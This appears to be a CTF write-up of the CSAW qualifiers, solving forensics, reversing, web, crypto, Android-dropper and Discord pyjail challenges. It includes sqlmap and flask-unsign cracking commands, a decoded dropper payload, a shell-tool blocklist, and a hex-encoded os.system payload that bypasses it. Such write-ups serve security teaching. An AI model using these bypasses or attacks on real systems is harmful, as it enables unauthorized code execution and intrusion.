CSAW Qualifiers

CSAW (see-SAW) is the world's most comprehensive student-run cybersecurity event. It serves as an engaging platform for experiential learning and aims to inspire students to pursue education and careers in the field of cybersecurity.

Forensics

1black0white

We received this file of seemingly random numbers, but the person that sent it is adamant that it is a QR code. Can you figure it out for us?

We are given a file containing 29 lines of different numbers. Each line contains 9 numbers (except for 2 lines). From the title, we know we somehow need to convert the data we have been given into binary, which will represent a QR code in someway.

I first tried to convert each number into its binary representation:

qr_matrix = []
with open('qr_code.txt','r') as file:
    for i, line in enumerate(file):
        line = line.strip()
        qr_matrix.append([])
        for num in line:
            qr_matrix[i].append(bin(int(num))[2:])

for row in qr_matrix:
    for col in row:
        print(col, end='')

We can use this binary to QR Code converter, but the output isn't a valid QR Code. The next idea was to treat each line as a number and do the same thing:

qr = []
with open('qr_code.txt','r') as file:
    for line in file:
        line = line.strip()
        qr.append(bin(int(line))[2:])

for row in qr:
    print(row, end='')

This gave us something that resembled a QR Code, but it wasn't able to be decoded properly. I used QRazyBox to force decode, and it was in flag format, just not the correct letters-- so on the right track, but our conversion is wrong somewhere.

I then considered the idea that maybe we just need to plot the black and white pixels ourself, and not rely on a QR Code generator. I used some ANSI coloring magic to help print our "pixels":

qr = []
with open("qr_code.txt", "r") as file:
    for line in file:
        line = line.strip()
        line = int(line)
        line = bin(line)[2:]
        print(line)
        qr.append(line)
scale_factor = 2
black = "\33[40m  \33[0m"
white = "\33[47m  \33[0m"

for row in qr:
    print()
    for col in row:
        if col == "1":
            print(black, end="")
        else:
            print(white, end="")

This was printing something even more similar to a QR Code, but still not quite right.

We are missing pixels still. Looking back at the text file, we are given 29 lines of numbers. Each line (except for the 2 mentioned previously) when converted to binary is 29 bits. All we need to do is pad the shorter numbers to 29 bits, and we should fill in the missing pixels.

padding = 29 # longest line is 29 bits

qr = []
with open("qr_code.txt", "r") as file:
    for line in file:
        line = line.strip()
        line = int(line)
        line = bin(line)[2:]
        line = line.zfill(padding)
        #print(line)
        qr.append(line)

scale_factor = 2
black = "\33[40m  \33[0m"
white = "\33[47m  \33[0m"

for row in qr:
    print()
    for col in row:
        if col == "1":
            print(black, end="")
        else:
            print(white, end="")

Running this script and decoding it gives us the flag:

csawctf{1_d1dnt_kn0w_th1s_w0uld_w0rk}

Reverse Engineering

Rebug1

Can't seem to print out the flag :( Can you figure out how to get the flag with this binary?

Taking a look in Ghidra and doing some basic cleanup:

The only condition for "that's correct" is for the length of the user-supplied input to be 12. All we need to do to get the flag is provide a 12 character string.

csawctf{c20ad4d76fe97759aa27a0c99bff6710}

Web

Philanthropy

Can you break into the Philanthropy website and get more information on Snake and Otacon?

Looking at the website, we have a register and login function. I started with registering an account to see what functionality we had as a user, but there wasn't much. Next, I decided to test for SQL injection with sqlmap.

sqlmap -u http://web.csaw.io:14180/web/register --forms --crawl=2

However, this didn't yield anything promising. Next, I started to analyze the client-side code. One unique thing I found was that for every page visit, a GET request is made to /verify, which returns a JSON response of your current user

{
    "Member": false,
    "Username": "test@abc.com",
    "Valid": true
}

I thought maybe this hinted towards us needing to craft a session cookie to where Member is true. Looking at the cookie access_token, and using Flask Session Cookie Decoder, we can determine the website is using Flask and the cookies are JWT tokens.

Next, I used flask-unsign to try and bruteforce the Flask SECRET_KEY.

flask-unsign --unsign --wordlist=all.txt --cookie < cookie.txt

This also didn't yield anything. Going back to client-side code review, I also noticed every page visit console.logs the response of /verify. I went to look at the Javascript to see how this was being handled, and noticed it was obfuscated. I used some online tools to deobfuscate, but that wasn't even necessary. Just by looking at the minified and obfuscated code, we are able to pull out two unique URLs:

Visiting http://web.csaw.io:14180/identity/images?user=%22otacon@protonmail.com%22 and the other URL yield a JSON response containing images.

{
  "msg": [
    {
      "credit": "mling@protonmail.com",
      "filename": "124d86b2-f579-4aa3-a2b5-012a125aea7d.png",
      "mg_model": "RAY",
      "submitter": "otacon@protonmail.com"
    },
    {
      "credit": "mling@protonmail.com",
      "filename": "1feda4bc-baff-455d-9ef4-7a30c986a668.png",
      "mg_model": "RAY",
      "submitter": "otacon@protonmail.com"
    }
    ...
}

In total, there are 13 images. Instead of manually downloading, let's automate it (because why not :D)

url1 = 'http://web.csaw.io:14180/identity/images?user=%22otacon@protonmail.com%22'
url2 = 'http://web.csaw.io:14180/identity/images?user=%22solidsnake@protonmail.com%22'

import requests

r1 = requests.get(url1, verify=False)
r2 = requests.get(url2, verify=False)

resp1 = r1.json()
resp2 = r2.json()

for i in resp1['msg']:
    url = 'http://web.csaw.io:14180/images/' + i['filename']
    # download the file
    r = requests.get(url, verify=False)
    with open(i['filename'], 'wb') as f:
        f.write(r.content)

for i in resp2['msg']:
    url = 'http://web.csaw.io:14180/images/' + i['filename']
    # download the file
    r = requests.get(url, verify=False)
    with open(i['filename'], 'wb') as f:
        f.write(r.content)

Looking at the files, b6116d5a-a415-4438-8f43-2b4cb648593e.png mentions a temporary password for snake!

Now, we can login to solidsnake@protonmail.com and access the flag.

csawctf{K3pt_y0u_Wa1t1ng_HUh}

Crypto

We have this encrypted file and the only information we got is that the key follows the pattern of 1,2,4,8,16,.... Can you figure out what the key is and decrypt this file?

We are given an encrypted file along with the code that was used to encrypt it. From this, we know AES-256 CBC was used because of to_bytes(32,"big"). Additionally, we know the IV is r4nd0m_1v_ch053n.

All we are missing the key. From the description, the key follows the geometric sequence 1,2,4,8,16,.... First intuition is the geometric sequence:

f(x) = 2^(x-1)
f(1) = 2^0 = 1
f(2) = 2^1 = 2
f(3) = 2^2 = 4

We can automate the process of decrypting by bruteforcing. The logic is as follows:

  1. Generate a key using the geometric sequence

  2. Decrypt the file using the generated key

  3. Ensure the decrypted file has the PNG header

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
with open('flag.enc','rb') as f:
	data = f.read()

for i in range(1,5000):
    key = (2**(i-1)).to_bytes(32,"big")
    iv = b"r4nd0m_1v_ch053n"
    cipher = AES.new(key, AES.MODE_CBC, iv)
    dec = cipher.decrypt(data)
    if dec[:4] == b"\x89PNG":
        with open('flag.dec','wb') as f:
            f.write(dec)

However, this fails to decrypt the file properly. Referencing back to the challenge, "circle" stood out to me. Some Googling of "1,2,4,8,16 circle" revealed Dividing a circle into areas which also follows the geometric sequence 1,2,4,8,16,.... The sequence is OEIS A000127. Visiting the page, we are fortunate to find sample Python on how to generate the sequence:

return n*(n*(n*(n - 6) + 23) - 18)//24 + 1

Another thing I thought about was the need to bruteforce. I felt that I shouldn't need to bruteforce the key. Looking back at server.py, I realized they gave us the n for the sequence: 0xcafed3adb3ef1e37. Putting it all together, our final decryption script is:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def A000127(n):
    return  n*(n*(n*(n - 6) + 23) - 18)//24 + 1

iv = b"r4nd0m_1v_ch053n"
key = A000127(0xcafed3adb3ef1e37)
key_bytes = key.to_bytes(32, "big")
print(str(key))

with open('flag.enc', 'rb') as f:
    data = f.read()

cipher = AES.new(key_bytes, AES.MODE_CBC, iv)
dec = cipher.decrypt(data)
if dec[0:4] == b"\x89\x50\x4e\x47":
    print("challenge solved get rekt lol")
    with open('flag.png', 'wb') as f:
        f.write(dec)

Running the script, we get the flag:

csawctf{p4773rn5_c4n_b3_d3c31v1n6.5h0u70u7_70_3blu31br0wn_f0r_7h3_1d34}

Misc

AndroidDropper

This app does nothing!

When it comes to APK files, the best thing to do is first decompile it. First, we need to use dex2jar to convert the APK to a JAR file:

d2j-dex2.jar dropper.apk

Now, we can decompile the JAR file using jd-gui:

jd-gui dropper-dex2jar.jar

Looking at the structure, there are a lot of random packages:

However, the one we care about is com.example.dropper.MainActivity.class. The main thing that stands out is the following snippet:

    try {
      byte[] arrayOfByte = Base64.decode("ZGV4CjAzNQAWORryq3+hLJ+yXt9y3L5lCBAqyp3c8Q6UBwAAcAAAAHhWNBIAAAAAAAAAANAGAAAoAAAAcAAAABMAAAAQAQAACwAAAFwBAAABAAAA4AEAABAAAADoAQAAAQAAAGgCAAAMBQAAiAIAAPYDAAD4AwAAAAQAAA4EAAARBAAAFAQAABoEAAAeBAAAPQQAAFkEAABzBAAAigQAAKEEAAC+BAAA0AQAAOcEAAD7BAAADwUAAC0FAAA9BQAAVwUAAHMFAACHBQAAigUAAI4FAACSBQAAlgUAAJ8FAACnBQAAswUAAL8FAADIBQAA2AUAAPIFAAD+BQAAAwYAABMGAAAkBgAALgYAADUGAAADAAAABwAAAAgAAAAJAAAACgAAAAsAAAAMAAAADQAAAA4AAAAPAAAAEAAAABEAAAASAAAAEwAAABQAAAAVAAAAFgAAABgAAAAZAAAABAAAAAUAAAAAAAAABAAAAAoAAAAAAAAABQAAAAoAAADMAwAABAAAAA0AAAAAAAAABAAAAA4AAAAAAAAAFgAAABAAAAAAAAAAFwAAABAAAADYAwAAFwAAABAAAADgAwAAFwAAABAAAADoAwAAFwAAABAAAADwAwAABgAAABEAAADoAwAAAQARACEAAAABAAUAAQAAAAEAAQAeAAAAAQACACIAAAADAAcAAQAAAAMAAQAlAAAABgAGAAEAAAAIAAUAJAAAAAkABQABAAAACgAJAAEAAAALAAUAGgAAAAsABQAcAAAACwAAAB8AAAAMAAgAAQAAAAwAAwAjAAAADgAKABsAAAAPAAQAHQAAAAEAAAABAAAACQAAAAAAAAACAAAAuAYAAJYGAAAAAAAABAAAAAMAAgCoAwAASwAAAAAAIgAMABoBIABwIAwAEABuEA0AAAAMAB8ACwBuEAkAAAAiAQMAIgIGAG4QCwAAAAwDcCAFADIAcCADACEAbhAEAAEADAFuEAoAAAAoDA0BKB8NAW4QBgABAG4QCgAAABoBAABxAA8AAAAMAG4gDgAQAAwAaQAAABMAEwETATIBEwIqAHEwAgAQAgwAEQBuEAoAAAAnAQAADgAAABUAAQAqAAAAAwAFAAJ/CCknACcABwADAAIAAAC/AwAAGQAAALFFI1ASABIBNVEPAGICAACQAwQBSAICA7dijiJQAgAB2AEBASjyIgQKAHAgCAAEABEEAAABAAEAAQAAAKQDAAAEAAAAcBAHAAAADgAKAA4AEQAOHnhqPOFOPBwpHj08LqamAnkdPAAnAwAAAA48PKM+AAAAAwAAAAAAAAAAAAAAAQAAAAUAAAABAAAABwAAAAEAAAAKAAAAAQAAABIAAAAGPGluaXQ+AAxEcm9wcGVkLmphdmEAAUkAAUwABExJSUkAAkxMAB1MY29tL2V4YW1wbGUvZHJvcHBlZC9Ecm9wcGVkOwAaTGRhbHZpay9hbm5vdGF0aW9uL1Rocm93czsAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwAVTGphdmEvaW8vSU9FeGNlcHRpb247ABVMamF2YS9pby9JbnB1dFN0cmVhbTsAG0xqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyOwAQTGphdmEvaW8vUmVhZGVyOwAVTGphdmEvbGFuZy9FeGNlcHRpb247ABJMamF2YS9sYW5nL09iamVjdDsAEkxqYXZhL2xhbmcvU3RyaW5nOwAcTGphdmEvbmV0L0h0dHBVUkxDb25uZWN0aW9uOwAOTGphdmEvbmV0L1VSTDsAGExqYXZhL25ldC9VUkxDb25uZWN0aW9uOwAaTGphdmEvdXRpbC9CYXNlNjQkRGVjb2RlcjsAEkxqYXZhL3V0aWwvQmFzZTY0OwABVgACVkwAAltCAAJbQwAHY29ubmVjdAAGZGVjb2RlAApkaXNjb25uZWN0AApnZXREZWNvZGVyAAdnZXRGbGFnAA5nZXRJbnB1dFN0cmVhbQAYaHR0cDovL21pc2MuY3Nhdy5pbzozMDAzAApub3RUaGVGbGFnAANvYmYADm9wZW5Db25uZWN0aW9uAA9wcmludFN0YWNrVHJhY2UACHJlYWRMaW5lAAV2YWx1ZQBXfn5EOHsiY29tcGlsYXRpb24tbW9kZSI6ImRlYnVnIiwiaGFzLWNoZWNrc3VtcyI6ZmFsc2UsIm1pbi1hcGkiOjEsInZlcnNpb24iOiIyLjEuNy1yMSJ9AAICASYcARgEAQADAAAIAIGABIwHAQmIBQEJyAYAAAAAAAABAAAAjgYAAKwGAAAAAAAAAQAAAAAAAAABAAAAsAYAABAAAAAAAAAAAQAAAAAAAAABAAAAKAAAAHAAAAACAAAAEwAAABABAAADAAAACwAAAFwBAAAEAAAAAQAAAOABAAAFAAAAEAAAAOgBAAAGAAAAAQAAAGgCAAABIAAAAwAAAIgCAAADIAAAAwAAAKQDAAABEAAABQAAAMwDAAACIAAAKAAAAPYDAAAEIAAAAQAAAI4GAAAAIAAAAQAAAJYGAAADEAAAAgAAAKwGAAAGIAAAAQAAALgGAAAAEAAAAQAAANAGAAA=", 0);
      FileOutputStream fileOutputStream = openFileOutput("dropped.dex", 0);
      fileOutputStream.write(arrayOfByte);
      fileOutputStream.flush();
      fileOutputStream.close();
    } catch (IOException iOException) {
      iOException.printStackTrace();
    } 

We are taking a base64 stream and writing it to a file called dropped.dex. Let's drop this file for ourselves:

from base64 import b64decode

dropped = "ZGV4CjAzNQAWORryq3+hLJ+yXt9y3L5lCBAqyp3c8Q6UBwAAcAAAAHhWNBIAAAAAAAAAANAGAAAoAAAAcAAAABMAAAAQAQAACwAAAFwBAAABAAAA4AEAABAAAADoAQAAAQAAAGgCAAAMBQAAiAIAAPYDAAD4AwAAAAQAAA4EAAARBAAAFAQAABoEAAAeBAAAPQQAAFkEAABzBAAAigQAAKEEAAC+BAAA0AQAAOcEAAD7BAAADwUAAC0FAAA9BQAAVwUAAHMFAACHBQAAigUAAI4FAACSBQAAlgUAAJ8FAACnBQAAswUAAL8FAADIBQAA2AUAAPIFAAD+BQAAAwYAABMGAAAkBgAALgYAADUGAAADAAAABwAAAAgAAAAJAAAACgAAAAsAAAAMAAAADQAAAA4AAAAPAAAAEAAAABEAAAASAAAAEwAAABQAAAAVAAAAFgAAABgAAAAZAAAABAAAAAUAAAAAAAAABAAAAAoAAAAAAAAABQAAAAoAAADMAwAABAAAAA0AAAAAAAAABAAAAA4AAAAAAAAAFgAAABAAAAAAAAAAFwAAABAAAADYAwAAFwAAABAAAADgAwAAFwAAABAAAADoAwAAFwAAABAAAADwAwAABgAAABEAAADoAwAAAQARACEAAAABAAUAAQAAAAEAAQAeAAAAAQACACIAAAADAAcAAQAAAAMAAQAlAAAABgAGAAEAAAAIAAUAJAAAAAkABQABAAAACgAJAAEAAAALAAUAGgAAAAsABQAcAAAACwAAAB8AAAAMAAgAAQAAAAwAAwAjAAAADgAKABsAAAAPAAQAHQAAAAEAAAABAAAACQAAAAAAAAACAAAAuAYAAJYGAAAAAAAABAAAAAMAAgCoAwAASwAAAAAAIgAMABoBIABwIAwAEABuEA0AAAAMAB8ACwBuEAkAAAAiAQMAIgIGAG4QCwAAAAwDcCAFADIAcCADACEAbhAEAAEADAFuEAoAAAAoDA0BKB8NAW4QBgABAG4QCgAAABoBAABxAA8AAAAMAG4gDgAQAAwAaQAAABMAEwETATIBEwIqAHEwAgAQAgwAEQBuEAoAAAAnAQAADgAAABUAAQAqAAAAAwAFAAJ/CCknACcABwADAAIAAAC/AwAAGQAAALFFI1ASABIBNVEPAGICAACQAwQBSAICA7dijiJQAgAB2AEBASjyIgQKAHAgCAAEABEEAAABAAEAAQAAAKQDAAAEAAAAcBAHAAAADgAKAA4AEQAOHnhqPOFOPBwpHj08LqamAnkdPAAnAwAAAA48PKM+AAAAAwAAAAAAAAAAAAAAAQAAAAUAAAABAAAABwAAAAEAAAAKAAAAAQAAABIAAAAGPGluaXQ+AAxEcm9wcGVkLmphdmEAAUkAAUwABExJSUkAAkxMAB1MY29tL2V4YW1wbGUvZHJvcHBlZC9Ecm9wcGVkOwAaTGRhbHZpay9hbm5vdGF0aW9uL1Rocm93czsAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwAVTGphdmEvaW8vSU9FeGNlcHRpb247ABVMamF2YS9pby9JbnB1dFN0cmVhbTsAG0xqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyOwAQTGphdmEvaW8vUmVhZGVyOwAVTGphdmEvbGFuZy9FeGNlcHRpb247ABJMamF2YS9sYW5nL09iamVjdDsAEkxqYXZhL2xhbmcvU3RyaW5nOwAcTGphdmEvbmV0L0h0dHBVUkxDb25uZWN0aW9uOwAOTGphdmEvbmV0L1VSTDsAGExqYXZhL25ldC9VUkxDb25uZWN0aW9uOwAaTGphdmEvdXRpbC9CYXNlNjQkRGVjb2RlcjsAEkxqYXZhL3V0aWwvQmFzZTY0OwABVgACVkwAAltCAAJbQwAHY29ubmVjdAAGZGVjb2RlAApkaXNjb25uZWN0AApnZXREZWNvZGVyAAdnZXRGbGFnAA5nZXRJbnB1dFN0cmVhbQAYaHR0cDovL21pc2MuY3Nhdy5pbzozMDAzAApub3RUaGVGbGFnAANvYmYADm9wZW5Db25uZWN0aW9uAA9wcmludFN0YWNrVHJhY2UACHJlYWRMaW5lAAV2YWx1ZQBXfn5EOHsiY29tcGlsYXRpb24tbW9kZSI6ImRlYnVnIiwiaGFzLWNoZWNrc3VtcyI6ZmFsc2UsIm1pbi1hcGkiOjEsInZlcnNpb24iOiIyLjEuNy1yMSJ9AAICASYcARgEAQADAAAIAIGABIwHAQmIBQEJyAYAAAAAAAABAAAAjgYAAKwGAAAAAAAAAQAAAAAAAAABAAAAsAYAABAAAAAAAAAAAQAAAAAAAAABAAAAKAAAAHAAAAACAAAAEwAAABABAAADAAAACwAAAFwBAAAEAAAAAQAAAOABAAAFAAAAEAAAAOgBAAAGAAAAAQAAAGgCAAABIAAAAwAAAIgCAAADIAAAAwAAAKQDAAABEAAABQAAAMwDAAACIAAAKAAAAPYDAAAEIAAAAQAAAI4GAAAAIAAAAQAAAJYGAAADEAAAAgAAAKwGAAAGIAAAAQAAALgGAAAAEAAAAQAAANAGAAA="

with open('dropped.dex','wb') as f:
    f.write(b64decode(dropped))

Similar to before,

d2j-dex2jar dropped.dex
jd-gui dropped-dex2jar.jar

This time, we only have one class: com.example.dropped.Dropped.class:

package com.example.dropped;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Base64;

public class Dropped {
  static byte[] notTheFlag;
  
  public static String getFlag() throws IOException {
    Exception exception;
    HttpURLConnection httpURLConnection = (HttpURLConnection)(new URL("http://misc.csaw.io:3003")).openConnection();
    try {
      httpURLConnection.connect();
      BufferedReader bufferedReader = new BufferedReader();
      InputStreamReader inputStreamReader = new InputStreamReader();
      this(httpURLConnection.getInputStream());
      this(inputStreamReader);
      String str = bufferedReader.readLine();
      httpURLConnection.disconnect();
    } catch (Exception exception1) {
      exception1.printStackTrace();
      httpURLConnection.disconnect();
      String str = "";
    } finally {}
    notTheFlag = Base64.getDecoder().decode((String)exception);
    return obf(275, 306, 42);
  }
  
  public static String obf(int paramInt1, int paramInt2, int paramInt3) {
    int i = paramInt2 - paramInt1;
    char[] arrayOfChar = new char[i];
    for (paramInt2 = 0; paramInt2 < i; paramInt2++)
      arrayOfChar[paramInt2] = (char)(char)(notTheFlag[paramInt1 + paramInt2] ^ paramInt3); 
    return new String(arrayOfChar);
  }
}

It makes a connection to http://misc.csaw.io:3003 and reads the response. The response is then decoded using Base64 and passed to obf() which does some obfuscation with XOR. All we need to do is reverse the logic;

import requests
from base64 import b64decode

r = requests.get('http://misc.csaw.io:3003')
flag = r.text
flag = b64decode(flag)

def obf(int1, int2, int3):
    i = int2 - int1
    arrayOfChar = []
    for int2 in range(i):
        arrayOfChar.append(chr(flag[int1 + int2] ^ int3))
    return ''.join(arrayOfChar)

print(obf(275, 306, 42))

And we get the flag! The flag is csawctf{dyn4m1c_lo4deRs_r_fuN!}. Oops, we didn't do any dynamic analysis ¯_(ツ)_/¯. Either way, we got the flag!

Discord Admin Bot

Join discord and get the flag.

We are given a Discord bot written in Discord.py. It's relatively simple:

  1. !flag

  2. !add +

  3. !sub -

I first joined the Discord and went over to #discord-admin-bot. A lot of people were spamming commands trying to get the flag:

!add client.add_roles(message.author, "ADMIN_ROLE") ; !flag
!flag role.name = ADMIN_ROLE
!add ("!add client.add_roles(message.author, "ADMIN_ROLE") ; eval('ctx.send("!flag")')"); !flag

However, the first thing I noticed when reading the source code was:

admin_flag = any(role.name == ADMIN_ROLE for role in ctx.message.author.roles)

There is a conditional check when you run commands, and so if admin_flag does not evaluate to True, then you will never get to the pyjail() function which is where we can execute arbitrary Python code.

I had to think of a way to get 'ADMIN_ROLE' and spent some time researching how message contexts are passed. Then, I remembered an older CTF challenge I solved where we had to find a Discord server based on the server ID and nothing else. We are in the Discord, and we have access to the Bot's Client ID (assuming Developer mode is enabled). With a Client ID, you can generate a bot invite link and invite the bot to your own server.

Once you have the bot in your own server, the path forward is trivial. We need to create the role 'admin' and assign it to ourselves. Now, when we execute !flag, !add, !sub instead of a help message, we are able to actually execute commands.

We know that !add and !sub call pyjail(). Let's take a look:

arg = " ".join(list(args))
ans = pyjail(arg)

SHELL_ESCAPE_CHARS = [":", "curl", "bash", "bin", "sh", "exec", "eval,", "|", "import", "chr", "subprocess", "pty", "popen", "read", "get_data", "echo", "builtins", "getattr"]

COOLDOWN = []

def excape_chars(strings_array, text):
    return any(string in text for string in strings_array)

def pyjail(text):
    if excape_chars(SHELL_ESCAPE_CHARS, text):
        return "No shells are allowed"

    text = f"print(eval(\"{text}\"))"
    proc = subprocess.Popen(['python3', '-c', text], stdout=subprocess.PIPE, preexec_fn=os.setsid)
    output = ""
    try:
        out, err = proc.communicate(timeout=1)
        output = out.decode().replace("\r", "")
        print(output)
        print('terminating process now')
        proc.terminate()
    except Exception as e:
        proc.kill()
        print(e)

    if output:
        return f"```{output}```"

So, take the command !add 3 + 3 for example. The arguments will be ['3', '+', '3']. Then, we join the list into a space separated string: "3 + 3". Lastly, it gets passed to pyjail() and executed in a subprocess:

python3 -c print(eval("3 + 3"))

Because we can control what gets passed to pyjail(), we have remote code execution. The only thing is to bypass the blacklist. Typically, you can call something like __import__('os').system('ls'), but the blacklist prevents us from using import. Luckily, HackTricks has a page for Bypass Python Sandboxes, and I learned you can pass hex encoded strings to eval() and it will still execute!

A quick Python script to convert our payload to hex:

payload = "__import__('os').system('cat flag.txt')"

for c in payload:
    hex_c = hex(ord(c))[2:]
    hex_c = "\\x" + hex_c
    print(hex_c, end="")

>> \x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x74\x78\x74\x27\x29

Now, we just need to execute:

!add \x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x74\x78\x74\x27\x29

csawctf{Y0u_4r3_th3_fl4g_t0_my_pyj4il_ch4ll3ng3}

Last updated